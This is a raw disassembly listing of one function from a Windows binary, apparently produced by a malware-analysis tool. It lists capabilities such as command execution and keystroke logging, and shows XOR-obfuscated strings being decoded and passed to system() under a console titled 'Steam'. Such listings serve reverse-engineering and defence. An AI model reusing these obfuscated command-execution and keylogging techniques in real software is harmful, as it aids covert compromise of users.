Function at 0x140067090
Capabilities:
Create thread
Delete file
Execute command
Log keystrokes via polling
Set console window title
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x5b0
movaps xmmword [rax - 0x38], xmm6
lea rbp, [rax - 0x558]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14055c7c0]
xor rax, rsp
mov qword [rbp + 0x510], rax
xor r13d, r13d
movzx edi, byte [0x14055d6e0]
movzx esi, byte [reloc.WS2_32.dll_accept]
movzx r14d, byte [reloc.WS2_32.dll_accept]
movzx r15d, byte [reloc.WS2_32.dll_accept]
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x260], rax
lea rdx, [0x14055bd80]
lea rcx, [rbp + 0xe0]
call fcn.140049270
mov rbx, rax
lea rdx, [0x14055d970]
lea rcx, [rbp + 0x3e0]
call fcn.140049270
nop
mov byte [rsp + 0x30], dil
mov byte [rsp + 0x28], sil
mov byte [rsp + 0x20], r14b
movzx r9d, r15b
mov r8, rbx
mov rdx, rax
lea rcx, [0x14055d6e1]
call fcn.1400f5830
lea rcx, [0x14055d6e1]
call fcn.1400e625c
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
mov dword [rbp + 0x278], r13d
lea rdx, [rbp + 0x278]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [rbp + 0x278]
or edx, 4
mov dword [rbp + 0x278], edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea rcx, str.Steam
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
movabs rax, 0x20d163dbc9e35880
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x460], rax
movabs rax, 0xd250f0c4f02d5e62
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x468], rax
movabs rax, 0x3ec9204647d72127
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x470], rax
movabs rsi, 0xe897b3f5ff83c8ce
mov qword [rbp + 0x270], rsi
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x478], rax
movabs rbx, 0x49a500bea78d37c3
mov qword [rbp + 0x270], rbx
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3e0], rax
movabs r12, 0xb723d0ab840d390c
mov qword [rbp + 0x270], r12
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3e8], rax
movabs rdi, 0x3ee70e6835b25755
mov qword [rbp + 0x270], rdi
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3f0], rax
mov qword [rbp + 0x270], rsi
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3f8], rax
vmovdqu ymm0, ymmword [rbp + 0x460]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x460], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], r13
lea rax, [rbp + 0x460]
mov r8, 0xffffffffffffffff
vzeroupper
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400672d0
lea rdx, [rbp + 0x460]
lea rcx, [rbp]
call fcn.140038c20
lea rdx, [rbp]
mov cl, 1
call fcn.140064ae0
lea rcx, [0x14055d9b0]
call fcn.1400724d0
movabs rax, 0x49a500bea7fe5ba0
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x270], r12
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x270], rbx
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x270], r12
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3c8], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x280], xmm0
mov qword [rbp + 0x290], r13
mov qword [rbp + 0x298], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x280], 0
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x150]
call sub.VCRUNTIME140.dll_memset
movabs r14, 0x67c073d0c2ee5eaf
mov qword [rbp + 0x270], r14
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x30], rax
movabs r15, 0xb747b5d8ed7b5c7e
mov qword [rbp + 0x270], r15
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x270], rbx
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x270], r12
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3c8], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0x30], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x150]
call fcn.140048b10
nop
mov rax, qword [rbp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x150]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x1400674d3
mov rax, qword [rbp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x150]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x150]
call fcn.140044910
lea rcx, [rbp + 0x160]
call fcn.140052770
test rax, rax
jne 0x1400677cd
mov rax, qword [rbp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x150]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
jmp 0x1400677cd
movabs rax, 0x26dc20ccc2f95986
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x460], rax
movabs rax, 0xd946b3c2e82d4b79
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x468], rax
movabs rax, 0x3ee70e6835883226
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x470], rax
mov qword [rbp + 0x270], rsi
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x478], rax
mov qword [rbp + 0x270], rbx
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3e0], rax
mov qword [rbp + 0x270], r12
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3e8], rax
mov qword [rbp + 0x270], rdi
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3f0], rax
mov qword [rbp + 0x270], rsi
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3f8], rax
vmovdqu ymm0, ymmword [rbp + 0x460]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x460], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], r13
lea rax, [rbp + 0x460]
mov r8, 0xffffffffffffffff
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x1400675d3
lea rdx, [rbp + 0x460]
lea rcx, [rbp]
call fcn.140038c20
lea rdx, [rbp]
xor ecx, ecx
call fcn.140064ae0
lea rdx, [rbp + 0x280]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14003f5a0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2b0]
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x270], r14
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x270], r15
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x270], rbx
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x270], r12
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3c8], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0x20], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x2b0]
call fcn.140049160
nop
lea rdx, [rbp + 0x280]
cmp qword [rbp + 0x298], 0xf
cmova rdx, qword [rbp + 0x280]
mov r8, qword [rbp + 0x290]
lea rcx, [rbp + 0x2b0]
call fcn.140042ed0
lea rcx, [rbp + 0x2b8]
call fcn.140052770
test rax, rax
jne 0x140067701
mov rax, qword [rbp + 0x2b0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x2b0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movabs rax, 0x49a500bea7fe5ba0
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x270], r12
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x270], rbx
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x270], r12
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3c8], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rax, qword [rbp + 0x2b0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2b0], rax
mov rax, qword [rbp + 0x2b0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2ac], edx
lea rcx, [rbp + 0x2b8]
call fcn.14004aa70
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x358]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0xe0]
call fcn.140049270
mov rdx, rax
lea rcx, [0x14055d9b0]
call fcn.1400743c0
cmp byte [0x14055dbe0], 0
jne 0x140067a06
movabs r14, 0x49a500ccc8ff4586
mov qword [rbp + 0x270], r14
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x270], r12
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x270], rbx
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x270], r12
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3c8], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0x30], xmm0
movabs r15, 0x69c169d2c6fb598a
mov qword [rbp + 0x270], r15
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3e0], rax
movabs rax, 0x9746a3c5e16e5060
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3e8], rax
movabs rax, 0x1e83671f5d92253a
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3f0], rax
movabs rax, 0x85b7c79b8ce6a7aa
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3f8], rax
movabs rax, 0xcd71b463baed44e6
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x400], rax
movabs rdi, 0x441b47ef550363b0
mov qword [rbp + 0x270], rdi
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x408], rax
mov qword [rbp + 0x270], rbx
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x270], r12
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0xe8], rax
movabs rax, 0x3ee70e6835b25755
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0x270], rsi
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0xf8], rax
movabs rsi, 0xcd71b442d28e3087
mov qword [rbp + 0x270], rsi
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x270], rdi
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x108], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x3e0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x400]
vxorps xmm2, xmm2, xmmword [rbp + 0x100]
vmovdqa xmmword [rbp + 0x400], xmm2
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x30]
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movabs rax, 0x3dd1689ecbff42a0
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0xe0], rax
movabs rax, 0xdb4ab684ab374a7c
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0xe8], rax
movabs rax, 0x51857a09569c2430
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0xf0], rax
movabs rax, 0x9ffb9c9090eee6b6
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0xf8], rax
movabs rax, 0xab05c06ca0e651b1
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x100], rax
movabs rax, 0x316b339a3a2e4e90
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x108], rax
movabs rax, 0x74cc3d3040071dcd
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x110], rax
movabs rax, 0x4d27078505035d96
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x118], rax
movabs rax, 0x81061c12d9f08074
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x120], rax
movabs rax, 0x3f149b8602349312
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x128], rax
movabs rax, 0xffe40ad0cb593483
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x130], rax
movabs rcx, 0x3a5b9bbd5d186e96
mov qword [rbp + 0x270], rcx
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x270], rbx
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3e0], rax
mov qword [rbp + 0x270], r12
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3e8], rax
mov qword [rbp + 0x270], rdi
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3f0], rax
mov qword [rbp + 0x270], rsi
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x3f8], rax
movabs rsi, 0xcd71b442d28e3087
mov qword [rbp + 0x270], rsi
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x400], rax
movabs rdi, 0x441b47ef550363b0
mov qword [rbp + 0x270], rdi
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x408], rax
movabs rax, 0x1aa56a6c7a443db9
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x410], rax
movabs rax, 0x1d7442d9767432f2
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x418], rax
movabs rax, 0xf572324697bfc62b
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x420], rax
movabs rax, 0xd34f7f36c0ab374
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x428], rax
movabs rax, 0xffe40ad0cb6812bd
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x430], rax
mov qword [rbp + 0x270], rcx
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x438], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x400]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x420]
vmovdqa ymmword [rbp + 0x120], ymm1
lea rcx, [rbp + 0xe0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs r14, 0x49a500ccc8ff4586
movabs r15, 0x69c169d2c6fb598a
movdqa xmm6, xmmword [0x140202170]
movabs rcx, 0x69d561f387d00698
movabs rdx, 0xec29a2cef2644b48
movabs r8, 0x1e836f0779920a67
movabs r9, 0xe897b3819ee6a08d
mov qword [rbp + 0x260], rcx
mov rax, qword [rbp + 0x260]
mov qword [rbp], rax
mov qword [rbp + 0x260], rdx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 8], rax
mov qword [rbp + 0x260], r8
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x260], r9
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe8], rax
movabs rax, 0x3ee70e6835b25755
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf0], rax
movabs rax, 0xe897b3f5ff83c8ce
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf8], rax
vmovdqu ymm0, ymmword [rbp]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x3e0], xmm0
mov qword [rbp + 0x3f0], r13
mov qword [rbp + 0x3f8], r13
lea rax, [rbp]
mov r8, 0xffffffffffffffff
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x140067e42
lea rdx, [rbp]
lea rcx, [rbp + 0x3e0]
call fcn.140038c20
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
call fcn.140064ae0
lea rdx, [rbp + 0x27c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [rbp + 0x27c]
cmp eax, 1
jne 0x1400688c7
movabs rax, 0x49a500bea7fe5ba0
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x58], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x500], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x508], rax
movdqa xmm0, xmmword [rbp + 0x500]
xorps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x3dc46dccc8eb598a
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x60], rax
movabs rax, 0xb723d0ab84635665
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x480], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x488], rax
movdqa xmm0, xmmword [rbp + 0x480]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm0
movabs rax, 0x2ea20cdd4e84593
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp], rax
movabs rax, 0x9753b1c6a4624d2c
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 8], rax
movabs rax, 0x488e7c0c15d73f21
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x10], rax
movabs rax, 0xe897b3f5ffa2baab
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe8], rax
movabs rax, 0x3ee70e6835b25755
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf0], rax
movabs rax, 0xe897b3f5ff83c8ce
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf8], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp]
vmovdqa ymmword [rbp], ymm1
mov r9d, 0x40
lea r8, [rbp + 0x60]
lea rdx, [rbp]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, 0x258
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
movabs rax, 0x49a500bea7fe5ba0
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x490], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x498], rax
movdqa xmm0, xmmword [rbp + 0x490]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x70], xmm0
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x3dd1689ecbff42a0
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3e0], rax
movabs rax, 0xdb4ab684ab374a7c
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3e8], rax
movabs rax, 0x51857a09569c2430
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3f0], rax
movabs rax, 0x8bf69c9090eee6b6
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3f8], rax
movabs rax, 0xbe08c76ce6e045f7
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x400], rax
movabs rax, 0x316b339a3a2e4e90
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x408], rax
movabs rax, 0x7ec10e3040071dcd
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x410], rax
movabs rax, 0x3d073baa58105696
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x418], rax
movabs rax, 0xd34c0066fbcaa815
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x420], rax
movabs rax, 0xd34f7f36c0ab345
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x428], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe8], rax
movabs rax, 0x3ee70e6835b25755
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf0], rax
movabs rax, 0xe897b3f5ff83c8ce
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x260], rsi
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x260], rdi
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x108], rax
movabs rax, 0x1aa56a6c7a443db9
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x110], rax
movabs rax, 0x1d7442d9767432f2
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x118], rax
movabs rax, 0xf572324697bfc62b
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x120], rax
movabs rax, 0xd34f7f36c0ab374
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x128], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x3e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x400]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x400], ymm1
vmovdqa xmm2, xmmword [rbp + 0x120]
vxorps xmm2, xmm2, xmmword [rbp + 0x420]
vmovdqa xmmword [rbp + 0x420], xmm2
lea rcx, [rbp + 0x3e0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x3dd1689ecbff42a0
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3e0], rax
movabs rax, 0xdb4ab684ab374a7c
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3e8], rax
movabs rax, 0x51857a09569c2430
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3f0], rax
movabs rax, 0x8ce29c9090eee6b6
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3f8], rax
movabs rax, 0xa318d66ca4e809b6
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x400], rax
movabs rax, 0x316b339a3a2e4e90
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x408], rax
movabs rax, 0x77c8073040071dcd
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x410], rax
movabs rax, 0x3d113abc58195f9f
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x418], rax
movabs rax, 0xd34c0066fbcaa815
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x420], rax
movabs rax, 0xd34f7f36c0ab345
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x428], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe8], rax
movabs rax, 0x3ee70e6835b25755
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf0], rax
movabs rax, 0xe897b3f5ff83c8ce
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x260], rsi
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x260], rdi
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x108], rax
movabs rax, 0x1aa56a6c7a443db9
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x110], rax
movabs rax, 0x1d7442d9767432f2
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x118], rax
movabs rax, 0xf572324697bfc62b
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x120], rax
